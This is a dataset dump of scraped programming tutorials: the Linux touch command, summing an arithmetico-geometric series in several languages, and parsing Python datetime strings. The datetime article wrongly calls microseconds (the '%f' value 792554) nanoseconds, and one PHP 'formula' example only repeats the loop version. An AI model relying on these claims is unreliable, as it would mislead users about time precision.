title
stringlengths 3
221
| text
stringlengths 17
477k
| parsed
listlengths 0
3.17k
|
|---|---|---|
touch command in Linux with Examples
|
19 Feb, 2021
The touch command is a standard command used in UNIX/Linux operating system which is used to create, change and modify timestamps of a file. Basically, there are two different commands to create a file in the Linux system which is as follows:
cat command: It is used to create the file with content.
touch command: It is used to create a file without any content. The file created using touch command is empty. This command can be used when the user doesn’t have data to store at the time of file creation.
Initially, we are in home directory and this can be checked using the pwd command. Checking the existing files using command ls and then long listing command(ll) is used to gather more details about existing files. As you can see in the below figure there is no existing files.
Chapters
descriptions off, selected
captions settings, opens captions settings dialog
captions off, selected
English
This is a modal window.
Beginning of dialog window. Escape will cancel and close the window.
End of dialog window.
Touch command Syntax to create a new file: You can create a single file at a time using touch command.
Syntax:
touch file_name
The file which is created can be viewed by ls command and to get more details about the file you can use long listing command ll or ls -l command . Here file with name ‘File1‘ is created using touch command.
Touch command to create multiple files: Touch command can be used to create the multiple numbers of files at the same time. These files would be empty while creation.
Syntax:
touch File1_name File2_name File3_name
Multiple files with name Doc1, Doc2, Doc3 are created at the same time using touch command here.
Like all other command Touch command have various options. These options are very useful for various purpose.
touch -a: This command is used to change access time only. To change or update the last access or modification times of a file touch -a command is used.
Syntax:
touch -a fileName
Here touch -a command changes access time of the file named Doc1.
touch -c : This command is used to check whether a file is created or not. If not created then don’t create it. This command avoids creating files.
Syntax:
touch -c fileName
touch -c-d : This is used to update access and modification time.
Syntax:
touch -c-d fileName
touch -m : This is used to change the modification time only. It only updates last modification time.
Syntax:
touch -m fileName
touch -r : This command is used to use the timestamp of another file. Here Doc2 file is updated with the time stamp of File 1.
Syntax:
touch -r second_file_name first_file_name
touch -t : This is used to create a file using a specified time.
Syntax:
touch -t YYMMDDHHMM fileName
Linux Tutorials | touch command | GeeksforGeeks - YouTubeGeeksforGeeks531K subscribersLinux Tutorials | touch command | GeeksforGeeksWatch laterShareCopy link29/36InfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 5:02•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=tpUyBbD4LQE" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>
linux-command
Linux-file-commands
Picked
Technical Scripter 2018
Linux-Unix
Technical Scripter
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n19 Feb, 2021"
},
{
"code": null,
"e": 295,
"s": 52,
"text": "The touch command is a standard command used in UNIX/Linux operating system which is used to create, change and modify timestamps of a file. Basically, there are two different commands to create a file in the Linux system which is as follows:"
},
{
"code": null,
"e": 352,
"s": 295,
"text": "cat command: It is used to create the file with content."
},
{
"code": null,
"e": 559,
"s": 352,
"text": "touch command: It is used to create a file without any content. The file created using touch command is empty. This command can be used when the user doesn’t have data to store at the time of file creation."
},
{
"code": null,
"e": 837,
"s": 559,
"text": "Initially, we are in home directory and this can be checked using the pwd command. Checking the existing files using command ls and then long listing command(ll) is used to gather more details about existing files. As you can see in the below figure there is no existing files."
},
{
"code": null,
"e": 846,
"s": 837,
"text": "Chapters"
},
{
"code": null,
"e": 873,
"s": 846,
"text": "descriptions off, selected"
},
{
"code": null,
"e": 923,
"s": 873,
"text": "captions settings, opens captions settings dialog"
},
{
"code": null,
"e": 946,
"s": 923,
"text": "captions off, selected"
},
{
"code": null,
"e": 954,
"s": 946,
"text": "English"
},
{
"code": null,
"e": 978,
"s": 954,
"text": "This is a modal window."
},
{
"code": null,
"e": 1047,
"s": 978,
"text": "Beginning of dialog window. Escape will cancel and close the window."
},
{
"code": null,
"e": 1069,
"s": 1047,
"text": "End of dialog window."
},
{
"code": null,
"e": 1172,
"s": 1069,
"text": "Touch command Syntax to create a new file: You can create a single file at a time using touch command."
},
{
"code": null,
"e": 1180,
"s": 1172,
"text": "Syntax:"
},
{
"code": null,
"e": 1196,
"s": 1180,
"text": "touch file_name"
},
{
"code": null,
"e": 1404,
"s": 1196,
"text": "The file which is created can be viewed by ls command and to get more details about the file you can use long listing command ll or ls -l command . Here file with name ‘File1‘ is created using touch command."
},
{
"code": null,
"e": 1571,
"s": 1404,
"text": "Touch command to create multiple files: Touch command can be used to create the multiple numbers of files at the same time. These files would be empty while creation."
},
{
"code": null,
"e": 1579,
"s": 1571,
"text": "Syntax:"
},
{
"code": null,
"e": 1619,
"s": 1579,
"text": "touch File1_name File2_name File3_name "
},
{
"code": null,
"e": 1716,
"s": 1619,
"text": "Multiple files with name Doc1, Doc2, Doc3 are created at the same time using touch command here."
},
{
"code": null,
"e": 1826,
"s": 1716,
"text": "Like all other command Touch command have various options. These options are very useful for various purpose."
},
{
"code": null,
"e": 1979,
"s": 1826,
"text": "touch -a: This command is used to change access time only. To change or update the last access or modification times of a file touch -a command is used."
},
{
"code": null,
"e": 1987,
"s": 1979,
"text": "Syntax:"
},
{
"code": null,
"e": 2005,
"s": 1987,
"text": "touch -a fileName"
},
{
"code": null,
"e": 2071,
"s": 2005,
"text": "Here touch -a command changes access time of the file named Doc1."
},
{
"code": null,
"e": 2219,
"s": 2071,
"text": "touch -c : This command is used to check whether a file is created or not. If not created then don’t create it. This command avoids creating files."
},
{
"code": null,
"e": 2227,
"s": 2219,
"text": "Syntax:"
},
{
"code": null,
"e": 2245,
"s": 2227,
"text": "touch -c fileName"
},
{
"code": null,
"e": 2311,
"s": 2245,
"text": "touch -c-d : This is used to update access and modification time."
},
{
"code": null,
"e": 2319,
"s": 2311,
"text": "Syntax:"
},
{
"code": null,
"e": 2339,
"s": 2319,
"text": "touch -c-d fileName"
},
{
"code": null,
"e": 2441,
"s": 2339,
"text": "touch -m : This is used to change the modification time only. It only updates last modification time."
},
{
"code": null,
"e": 2449,
"s": 2441,
"text": "Syntax:"
},
{
"code": null,
"e": 2467,
"s": 2449,
"text": "touch -m fileName"
},
{
"code": null,
"e": 2594,
"s": 2467,
"text": "touch -r : This command is used to use the timestamp of another file. Here Doc2 file is updated with the time stamp of File 1."
},
{
"code": null,
"e": 2602,
"s": 2594,
"text": "Syntax:"
},
{
"code": null,
"e": 2644,
"s": 2602,
"text": "touch -r second_file_name first_file_name"
},
{
"code": null,
"e": 2709,
"s": 2644,
"text": "touch -t : This is used to create a file using a specified time."
},
{
"code": null,
"e": 2717,
"s": 2709,
"text": "Syntax:"
},
{
"code": null,
"e": 2746,
"s": 2717,
"text": "touch -t YYMMDDHHMM fileName"
},
{
"code": null,
"e": 3631,
"s": 2746,
"text": "Linux Tutorials | touch command | GeeksforGeeks - YouTubeGeeksforGeeks531K subscribersLinux Tutorials | touch command | GeeksforGeeksWatch laterShareCopy link29/36InfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 5:02•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=tpUyBbD4LQE\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>"
},
{
"code": null,
"e": 3645,
"s": 3631,
"text": "linux-command"
},
{
"code": null,
"e": 3665,
"s": 3645,
"text": "Linux-file-commands"
},
{
"code": null,
"e": 3672,
"s": 3665,
"text": "Picked"
},
{
"code": null,
"e": 3696,
"s": 3672,
"text": "Technical Scripter 2018"
},
{
"code": null,
"e": 3707,
"s": 3696,
"text": "Linux-Unix"
},
{
"code": null,
"e": 3726,
"s": 3707,
"text": "Technical Scripter"
}
] |
Sum of Arithmetic Geometric Sequence
|
11 Jul, 2022
In mathematics, an arithmetico–geometric sequence is the result of the term-by-term multiplication of a geometric progression with the corresponding terms of an arithmetic progression.
is an arithmetico–geometric sequence.Given the value of a(First term of AP), n(Number of terms), d(Common Difference), b(First term of GP), r(Common ratio of GP). The task is find the sum of first n term of the AGP.Examples:
Input : First term of AP, a = 1,
Common difference of AP, d = 1,
First term of GP, b = 2,
Common ratio of GP r = 2,
Number of terms, n = 3
Output : 34
Explanation
Sum = 1*2 + 2*22 + 3*23
= 2 + 8 + 24
= 34
The nth term of an arithmetico–geometric sequence is the product of the n-th term of an arithmetic sequence and the nth term of a geometric one. Arithmetico–geometric sequences arise in various applications, such as the computation of expected values in probability theory. For example Counting Expected Number of Trials until Success.n-th term of an AGP is denoted by: tn = [a + (n – 1) * d] * (b * rn-1)Method 1: (Brute Force) The idea is to find each term of the AGP and find the sum.Below is the implementation of this approach:
C++
Java
Python3
C#
PHP
Javascript
// CPP Program to find the sum of first n terms.#include<bits/stdc++.h>using namespace std; // Return the sum of first n term of AGPint sumofNterm(int a, int d, int b, int r, int n){ // finding the each term of AGP and adding // it to sum. int sum = 0; for (int i = 1; i <= n ; i++) sum += ((a + (i -1) * d) * (b * pow(r, i - 1))); return sum;} // Driven Programint main(){ int a = 1, d = 1, b = 2, r = 2, n = 3; cout << sumofNterm(a, d, b, r, n) << endl; return 0;}
// Java Program to find the sum of first n terms.import java.io.*; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { // finding the each term of AGP and adding // it to sum. int sum = 0; for (int i = 1; i <= n ; i++) sum += ((a + (i -1) * d) * (b * Math.pow(r, i - 1))); return sum; } // Driven Program public static void main(String args[]) { int a = 1, d = 1, b = 2, r = 2, n = 3; System.out.println(sumofNterm(a, d, b, r, n)); }} // This code is contributed by Nikita Tiwari.
# Python3 code to find the# sum of first n terms.import math # Return the sum of first# n term of AGPdef sumofNterm( a , d , b , r , n ): # finding the each term # of AGP and adding it to sum. sum = 0 for i in range(1,n+1): sum += ((a + (i -1) * d) * (b * math.pow(r, i - 1))) return int(sum) # Driven Codea = 1d = 1b = 2r = 2n = 3print(sumofNterm(a, d, b, r, n)) # This code is contributed by "Sharad_Bhardwaj".
// C# Program to find the sum of first n terms.using System; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { // Finding the each term of AGP // and adding it to sum. int sum = 0; for (int i = 1; i <= n ; i++) sum += (int)((a + (i -1) * d) * (b * Math.Pow(r, i - 1))); return sum; } // Driver Code public static void Main() { int a = 1, d = 1, b = 2, r = 2, n = 3; Console.Write(sumofNterm(a, d, b, r, n)); }} // This code is contributed by vt_m.
<?php// PHP program to find the// sum of first n terms. // Return the sum of first// n term of AGPfunction sumofNterm($a, $d, $b, $r, $n){ // finding the each term // of AGP and adding // it to sum. $sum = 0; for ($i = 1; $i <= $n ; $i++) $sum += (($a + ($i -1) * $d) * ($b * pow($r, $i - 1))); return $sum;} // Driver Code$a = 1; $d = 1; $b = 2; $r = 2; $n = 3;echo(sumofNterm($a, $d, $b, $r, $n)); // This code is contributed by Ajit.?>
<script>// javascript program to find the// sum of first n terms. // Return the sum of first// n term of AGPfunction sumofNterm(a, d, b, r, n){ // finding the each term // of AGP and adding // it to sum. let sum = 0; for (let i = 1; i <= n ; i++) sum += ((a + (i -1) * d) * (b * Math.pow(r, i - 1))); return sum;} // Driver Codelet a = 1;let d = 1;let b = 2;let r = 2;let n = 3;document.write(sumofNterm(a, d, b, r, n)); // This code is contributed by sravan kumar (vignan)</script>
Output:
34
Method 2: (Using Formula)
Proof,
Series,
Sn = ab + (a+d)br + (a+2d)br2 + ..... + (a + (n-1)d)brn-1
Multiplying Sn by r,
rSn = abr + (a+d)br2 + (a+2d)br3 + ..... + (a + (n-1)d)brn
Subtract rSn from Sn,
(1 - r)Sn = [a + (a + d)r + (a + 2d)r2 + ...... + [a + (n-1)d]rn-1]
- [ar + (a + d)r2 + (a + 2d)r3 + ...... + [a + (n-1)d]rn]
= b[a + d(r + r2 + r3 + ...... + rn-1)
- [a + (n-1)d]rn]
(Using sum of geometric series Sn = a(1 - rn-1)/(1-r))
= b[a + dr(1 - rn-1)/(1-r) - [a + (n-1)d]rn]
Below is the implementation of this approach:
CPP
Java
Python3
C#
PHP
Javascript
// CPP Program to find the sum of first n terms.#include<bits/stdc++.h>using namespace std; // Return the sum of first n term of AGPint sumofNterm(int a, int d, int b, int r, int n){ int ans = 0; ans += a; ans += ((d * r * (1 - pow(r, n-1)))/(1-r)); ans -= (a + (n-1)*d)*pow(r, n); return (ans*b)/(1-r);} // Driven Programint main(){ int a = 1, d = 1, b = 2, r = 2, n = 3; cout << sumofNterm(a, d, b, r, n) << endl; return 0;}
// Java Program to find the sum of first n terms. import java.io.*;import java.math.*; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { int ans = 0; ans += a; ans += ((d * r * (1 - (int)(Math.pow(r, n-1))))/(1-r)); ans -= (a + (n-1)*d)*(int)(Math.pow(r, n)); return (ans*b)/(1-r); } // Driven Program public static void main(String args[]) { int a = 1, d = 1, b = 2, r = 2, n = 3; System.out.println(sumofNterm(a, d, b, r, n)); }} // This code is contributed by Nikita Tiwari.
# Python3 code to find# the sum of first n terms.import math # Return the sum of# first n term of AGPdef sumofNterm( a , d , b , r , n ): ans = 0 ans += a ans += ((d * r * (1 - math.pow(r, n-1)) )/(1-r)) ans -= (a + (n-1)*d)*math.pow(r, n) return int((ans*b)/(1-r)) # Driven Codea = 1d = 1b = 2r = 2n = 3print(sumofNterm(a, d, b, r, n) ) # This code is contributed by "Sharad_Bhardwaj".
// C# Program to find the sum of first n terms.using System; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { int ans = 0; ans += a; ans += ((d * r * (1 - (int)(Math.Pow(r, n-1)))) / (1-r)); ans -= (a + (n-1) * d) * (int)(Math.Pow(r, n)); return (ans * b) / (1 - r); } // Driver Code public static void Main() { int a = 1, d = 1, b = 2, r = 2, n = 3; Console.Write(sumofNterm(a, d, b, r, n)); }} // This code is contributed by vt_m.
<?php// PHP program to find the// sum of first n terms. // Return the sum of first// n term of AGPfunction sumofNterm($a, $d, $b, $r, $n){ // finding the each term // of AGP and adding // it to sum. $sum = 0; for ($i = 1; $i <= $n ; $i++) $sum += (($a + ($i -1) * $d) * ($b * pow($r, $i - 1))); return $sum;} // Driver Code$a = 1; $d = 1; $b = 2; $r = 2; $n = 3;echo(sumofNterm($a, $d, $b, $r, $n)); // This code is contributed by Ajit.?>
<script> // JavaScript Program to find the sum of first n terms. // Return the sum of first n term of AGP function sumofNterm(a, d, b, r, n) { let ans = 0; ans += a; ans += ((d * r * (1 - (Math.pow(r, n-1))))/(1-r)); ans -= (a + (n-1)*d)*(Math.pow(r, n)); return (ans*b)/(1-r); } // Driver code let a = 1, d = 1, b = 2, r = 2, n = 3; document.write(sumofNterm(a, d, b, r, n)); </script>
Output:
34
Time Complexity: O(logn)
Auxiliary Space: O(1)
jit_t
splevel62
sravankumar8128
bunnyram19
polymatir3j
arithmetic progression
series
series-sum
Mathematical
Mathematical
series
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n11 Jul, 2022"
},
{
"code": null,
"e": 239,
"s": 52,
"text": "In mathematics, an arithmetico–geometric sequence is the result of the term-by-term multiplication of a geometric progression with the corresponding terms of an arithmetic progression. "
},
{
"code": null,
"e": 466,
"s": 239,
"text": "is an arithmetico–geometric sequence.Given the value of a(First term of AP), n(Number of terms), d(Common Difference), b(First term of GP), r(Common ratio of GP). The task is find the sum of first n term of the AGP.Examples: "
},
{
"code": null,
"e": 714,
"s": 466,
"text": "Input : First term of AP, a = 1, \n Common difference of AP, d = 1, \n First term of GP, b = 2, \n Common ratio of GP r = 2,\n Number of terms, n = 3\nOutput : 34\nExplanation\nSum = 1*2 + 2*22 + 3*23\n = 2 + 8 + 24\n = 34"
},
{
"code": null,
"e": 1250,
"s": 716,
"text": "The nth term of an arithmetico–geometric sequence is the product of the n-th term of an arithmetic sequence and the nth term of a geometric one. Arithmetico–geometric sequences arise in various applications, such as the computation of expected values in probability theory. For example Counting Expected Number of Trials until Success.n-th term of an AGP is denoted by: tn = [a + (n – 1) * d] * (b * rn-1)Method 1: (Brute Force) The idea is to find each term of the AGP and find the sum.Below is the implementation of this approach: "
},
{
"code": null,
"e": 1254,
"s": 1250,
"text": "C++"
},
{
"code": null,
"e": 1259,
"s": 1254,
"text": "Java"
},
{
"code": null,
"e": 1267,
"s": 1259,
"text": "Python3"
},
{
"code": null,
"e": 1270,
"s": 1267,
"text": "C#"
},
{
"code": null,
"e": 1274,
"s": 1270,
"text": "PHP"
},
{
"code": null,
"e": 1285,
"s": 1274,
"text": "Javascript"
},
{
"code": "// CPP Program to find the sum of first n terms.#include<bits/stdc++.h>using namespace std; // Return the sum of first n term of AGPint sumofNterm(int a, int d, int b, int r, int n){ // finding the each term of AGP and adding // it to sum. int sum = 0; for (int i = 1; i <= n ; i++) sum += ((a + (i -1) * d) * (b * pow(r, i - 1))); return sum;} // Driven Programint main(){ int a = 1, d = 1, b = 2, r = 2, n = 3; cout << sumofNterm(a, d, b, r, n) << endl; return 0;}",
"e": 1792,
"s": 1285,
"text": null
},
{
"code": "// Java Program to find the sum of first n terms.import java.io.*; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { // finding the each term of AGP and adding // it to sum. int sum = 0; for (int i = 1; i <= n ; i++) sum += ((a + (i -1) * d) * (b * Math.pow(r, i - 1))); return sum; } // Driven Program public static void main(String args[]) { int a = 1, d = 1, b = 2, r = 2, n = 3; System.out.println(sumofNterm(a, d, b, r, n)); }} // This code is contributed by Nikita Tiwari.",
"e": 2449,
"s": 1792,
"text": null
},
{
"code": "# Python3 code to find the# sum of first n terms.import math # Return the sum of first# n term of AGPdef sumofNterm( a , d , b , r , n ): # finding the each term # of AGP and adding it to sum. sum = 0 for i in range(1,n+1): sum += ((a + (i -1) * d) * (b * math.pow(r, i - 1))) return int(sum) # Driven Codea = 1d = 1b = 2r = 2n = 3print(sumofNterm(a, d, b, r, n)) # This code is contributed by \"Sharad_Bhardwaj\".",
"e": 2914,
"s": 2449,
"text": null
},
{
"code": "// C# Program to find the sum of first n terms.using System; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { // Finding the each term of AGP // and adding it to sum. int sum = 0; for (int i = 1; i <= n ; i++) sum += (int)((a + (i -1) * d) * (b * Math.Pow(r, i - 1))); return sum; } // Driver Code public static void Main() { int a = 1, d = 1, b = 2, r = 2, n = 3; Console.Write(sumofNterm(a, d, b, r, n)); }} // This code is contributed by vt_m.",
"e": 3547,
"s": 2914,
"text": null
},
{
"code": "<?php// PHP program to find the// sum of first n terms. // Return the sum of first// n term of AGPfunction sumofNterm($a, $d, $b, $r, $n){ // finding the each term // of AGP and adding // it to sum. $sum = 0; for ($i = 1; $i <= $n ; $i++) $sum += (($a + ($i -1) * $d) * ($b * pow($r, $i - 1))); return $sum;} // Driver Code$a = 1; $d = 1; $b = 2; $r = 2; $n = 3;echo(sumofNterm($a, $d, $b, $r, $n)); // This code is contributed by Ajit.?>",
"e": 4032,
"s": 3547,
"text": null
},
{
"code": "<script>// javascript program to find the// sum of first n terms. // Return the sum of first// n term of AGPfunction sumofNterm(a, d, b, r, n){ // finding the each term // of AGP and adding // it to sum. let sum = 0; for (let i = 1; i <= n ; i++) sum += ((a + (i -1) * d) * (b * Math.pow(r, i - 1))); return sum;} // Driver Codelet a = 1;let d = 1;let b = 2;let r = 2;let n = 3;document.write(sumofNterm(a, d, b, r, n)); // This code is contributed by sravan kumar (vignan)</script>",
"e": 4561,
"s": 4032,
"text": null
},
{
"code": null,
"e": 4571,
"s": 4561,
"text": "Output: "
},
{
"code": null,
"e": 4574,
"s": 4571,
"text": "34"
},
{
"code": null,
"e": 4603,
"s": 4574,
"text": " Method 2: (Using Formula) "
},
{
"code": null,
"e": 4612,
"s": 4603,
"text": "Proof, "
},
{
"code": null,
"e": 5121,
"s": 4612,
"text": "Series,\nSn = ab + (a+d)br + (a+2d)br2 + ..... + (a + (n-1)d)brn-1\n\nMultiplying Sn by r,\nrSn = abr + (a+d)br2 + (a+2d)br3 + ..... + (a + (n-1)d)brn\n\nSubtract rSn from Sn,\n(1 - r)Sn = [a + (a + d)r + (a + 2d)r2 + ...... + [a + (n-1)d]rn-1] \n - [ar + (a + d)r2 + (a + 2d)r3 + ...... + [a + (n-1)d]rn]\n = b[a + d(r + r2 + r3 + ...... + rn-1) \n - [a + (n-1)d]rn]\n (Using sum of geometric series Sn = a(1 - rn-1)/(1-r))\n = b[a + dr(1 - rn-1)/(1-r) - [a + (n-1)d]rn]"
},
{
"code": null,
"e": 5169,
"s": 5121,
"text": "Below is the implementation of this approach: "
},
{
"code": null,
"e": 5173,
"s": 5169,
"text": "CPP"
},
{
"code": null,
"e": 5178,
"s": 5173,
"text": "Java"
},
{
"code": null,
"e": 5186,
"s": 5178,
"text": "Python3"
},
{
"code": null,
"e": 5189,
"s": 5186,
"text": "C#"
},
{
"code": null,
"e": 5193,
"s": 5189,
"text": "PHP"
},
{
"code": null,
"e": 5204,
"s": 5193,
"text": "Javascript"
},
{
"code": "// CPP Program to find the sum of first n terms.#include<bits/stdc++.h>using namespace std; // Return the sum of first n term of AGPint sumofNterm(int a, int d, int b, int r, int n){ int ans = 0; ans += a; ans += ((d * r * (1 - pow(r, n-1)))/(1-r)); ans -= (a + (n-1)*d)*pow(r, n); return (ans*b)/(1-r);} // Driven Programint main(){ int a = 1, d = 1, b = 2, r = 2, n = 3; cout << sumofNterm(a, d, b, r, n) << endl; return 0;}",
"e": 5667,
"s": 5204,
"text": null
},
{
"code": "// Java Program to find the sum of first n terms. import java.io.*;import java.math.*; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { int ans = 0; ans += a; ans += ((d * r * (1 - (int)(Math.pow(r, n-1))))/(1-r)); ans -= (a + (n-1)*d)*(int)(Math.pow(r, n)); return (ans*b)/(1-r); } // Driven Program public static void main(String args[]) { int a = 1, d = 1, b = 2, r = 2, n = 3; System.out.println(sumofNterm(a, d, b, r, n)); }} // This code is contributed by Nikita Tiwari.",
"e": 6316,
"s": 5667,
"text": null
},
{
"code": "# Python3 code to find# the sum of first n terms.import math # Return the sum of# first n term of AGPdef sumofNterm( a , d , b , r , n ): ans = 0 ans += a ans += ((d * r * (1 - math.pow(r, n-1)) )/(1-r)) ans -= (a + (n-1)*d)*math.pow(r, n) return int((ans*b)/(1-r)) # Driven Codea = 1d = 1b = 2r = 2n = 3print(sumofNterm(a, d, b, r, n) ) # This code is contributed by \"Sharad_Bhardwaj\".",
"e": 6808,
"s": 6316,
"text": null
},
{
"code": "// C# Program to find the sum of first n terms.using System; class GFG { // Return the sum of first n term of AGP static int sumofNterm(int a, int d, int b, int r, int n) { int ans = 0; ans += a; ans += ((d * r * (1 - (int)(Math.Pow(r, n-1)))) / (1-r)); ans -= (a + (n-1) * d) * (int)(Math.Pow(r, n)); return (ans * b) / (1 - r); } // Driver Code public static void Main() { int a = 1, d = 1, b = 2, r = 2, n = 3; Console.Write(sumofNterm(a, d, b, r, n)); }} // This code is contributed by vt_m.",
"e": 7462,
"s": 6808,
"text": null
},
{
"code": "<?php// PHP program to find the// sum of first n terms. // Return the sum of first// n term of AGPfunction sumofNterm($a, $d, $b, $r, $n){ // finding the each term // of AGP and adding // it to sum. $sum = 0; for ($i = 1; $i <= $n ; $i++) $sum += (($a + ($i -1) * $d) * ($b * pow($r, $i - 1))); return $sum;} // Driver Code$a = 1; $d = 1; $b = 2; $r = 2; $n = 3;echo(sumofNterm($a, $d, $b, $r, $n)); // This code is contributed by Ajit.?>",
"e": 7947,
"s": 7462,
"text": null
},
{
"code": "<script> // JavaScript Program to find the sum of first n terms. // Return the sum of first n term of AGP function sumofNterm(a, d, b, r, n) { let ans = 0; ans += a; ans += ((d * r * (1 - (Math.pow(r, n-1))))/(1-r)); ans -= (a + (n-1)*d)*(Math.pow(r, n)); return (ans*b)/(1-r); } // Driver code let a = 1, d = 1, b = 2, r = 2, n = 3; document.write(sumofNterm(a, d, b, r, n)); </script>",
"e": 8434,
"s": 7947,
"text": null
},
{
"code": null,
"e": 8443,
"s": 8434,
"text": "Output: "
},
{
"code": null,
"e": 8446,
"s": 8443,
"text": "34"
},
{
"code": null,
"e": 8472,
"s": 8446,
"text": "Time Complexity: O(logn) "
},
{
"code": null,
"e": 8494,
"s": 8472,
"text": "Auxiliary Space: O(1)"
},
{
"code": null,
"e": 8500,
"s": 8494,
"text": "jit_t"
},
{
"code": null,
"e": 8510,
"s": 8500,
"text": "splevel62"
},
{
"code": null,
"e": 8526,
"s": 8510,
"text": "sravankumar8128"
},
{
"code": null,
"e": 8537,
"s": 8526,
"text": "bunnyram19"
},
{
"code": null,
"e": 8549,
"s": 8537,
"text": "polymatir3j"
},
{
"code": null,
"e": 8572,
"s": 8549,
"text": "arithmetic progression"
},
{
"code": null,
"e": 8579,
"s": 8572,
"text": "series"
},
{
"code": null,
"e": 8590,
"s": 8579,
"text": "series-sum"
},
{
"code": null,
"e": 8603,
"s": 8590,
"text": "Mathematical"
},
{
"code": null,
"e": 8616,
"s": 8603,
"text": "Mathematical"
},
{
"code": null,
"e": 8623,
"s": 8616,
"text": "series"
}
] |
Parsing DateTime strings containing nanoseconds in Python
|
23 Aug, 2021
Most of the applications require a precision of up to seconds but there are also some critical applications that require nanosecond precision, especially the ones which can perform extremely fast computations. It can help provide insights on certain factors related to time space for the application. Let us see how can we parse DateTime strings that have nanoseconds in them. Python has a list of directives that can be used in order to parse the strings as datetime objects. Let us have a look at some of them that we will be using in our codes.
Image Representation of the parsing
Let us take the default Python timestamp format: “2021-08-05 15:25:56.792554” as an example to work on.
In this example, we will see that the nanoseconds value is 792554. “%f” directive is used to parse the nanoseconds. The same thing is cross-verified by converting the “%f” directive to the string value of its representation for the datetime object using the strftime() method.
Python
from datetime import datetime # Parse the default python timestamp formatdt_obj = datetime.strptime("2021-08-05 15:25:56.792554", "%Y-%m-%d %H:%M:%S.%f") # Verify the value for nano secondsnano_secs = dt_obj.strftime("%f") # Print the value of nano secondsprint(nano_secs)
Output
792554
Here we will use pandas.to_datetime() methods to parsing DateTime strings containing nanoseconds.
Syntax:
pandas.to_datetime(arg, errors=’raise’, dayfirst=False, yearfirst=False, utc=None, box=True, format=None, exact=True, unit=None, infer_datetime_format=False, origin=’unix’, cache=False)
Parameters:
arg: An integer, string, float, list or dict object to convert in to Date time object.dayfirst: Boolean value, places day first if True.yearfirst: Boolean value, places year first if True.utc: Boolean value, Returns time in UTC if True.format: String input to tell position of day, month and year.
Python
import pandas as pd # Parse the timestamp string by# providing the format of timestamp stringdt_obj = pd.to_datetime("2021-08-05 15:25:56.792554", format="%Y-%m-%d %H:%M:%S.%f") # Verify the value for nano secondsnano_secs = dt_obj.strftime("%f") # Print the value of nano secondsprint(nano_secs)
Output:
792554
The above example is similar to the earlier one except for the fact that we have used pandas library instead of the datetime module. This can prove to be handy when we are working with pandas dataframes. One beautiful thing about this library is that we might not need to provide the format manually. The parameter infer_datetime_format in the pandas.to_datetime() method can take care of that automatically if provided as True. In cases, it can increase the parsing speed by ~5-10x. Below is an example of the same.
Python
import pandas as pd # Parse the timestamp string by# providing infer_datetime_format as Truedt_obj = pd.to_datetime("2021-08-05 15:25:56.792554", infer_datetime_format=True) # Verify the value for nano secondsnano_secs = dt_obj.strftime("%f") # Print the value of nano secondsprint(nano_secs)
Output:
792554
Picked
Python pandas-datetime
Python-datetime
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n23 Aug, 2021"
},
{
"code": null,
"e": 576,
"s": 28,
"text": "Most of the applications require a precision of up to seconds but there are also some critical applications that require nanosecond precision, especially the ones which can perform extremely fast computations. It can help provide insights on certain factors related to time space for the application. Let us see how can we parse DateTime strings that have nanoseconds in them. Python has a list of directives that can be used in order to parse the strings as datetime objects. Let us have a look at some of them that we will be using in our codes."
},
{
"code": null,
"e": 612,
"s": 576,
"text": "Image Representation of the parsing"
},
{
"code": null,
"e": 716,
"s": 612,
"text": "Let us take the default Python timestamp format: “2021-08-05 15:25:56.792554” as an example to work on."
},
{
"code": null,
"e": 993,
"s": 716,
"text": "In this example, we will see that the nanoseconds value is 792554. “%f” directive is used to parse the nanoseconds. The same thing is cross-verified by converting the “%f” directive to the string value of its representation for the datetime object using the strftime() method."
},
{
"code": null,
"e": 1000,
"s": 993,
"text": "Python"
},
{
"code": "from datetime import datetime # Parse the default python timestamp formatdt_obj = datetime.strptime(\"2021-08-05 15:25:56.792554\", \"%Y-%m-%d %H:%M:%S.%f\") # Verify the value for nano secondsnano_secs = dt_obj.strftime(\"%f\") # Print the value of nano secondsprint(nano_secs)",
"e": 1302,
"s": 1000,
"text": null
},
{
"code": null,
"e": 1309,
"s": 1302,
"text": "Output"
},
{
"code": null,
"e": 1316,
"s": 1309,
"text": "792554"
},
{
"code": null,
"e": 1414,
"s": 1316,
"text": "Here we will use pandas.to_datetime() methods to parsing DateTime strings containing nanoseconds."
},
{
"code": null,
"e": 1422,
"s": 1414,
"text": "Syntax:"
},
{
"code": null,
"e": 1608,
"s": 1422,
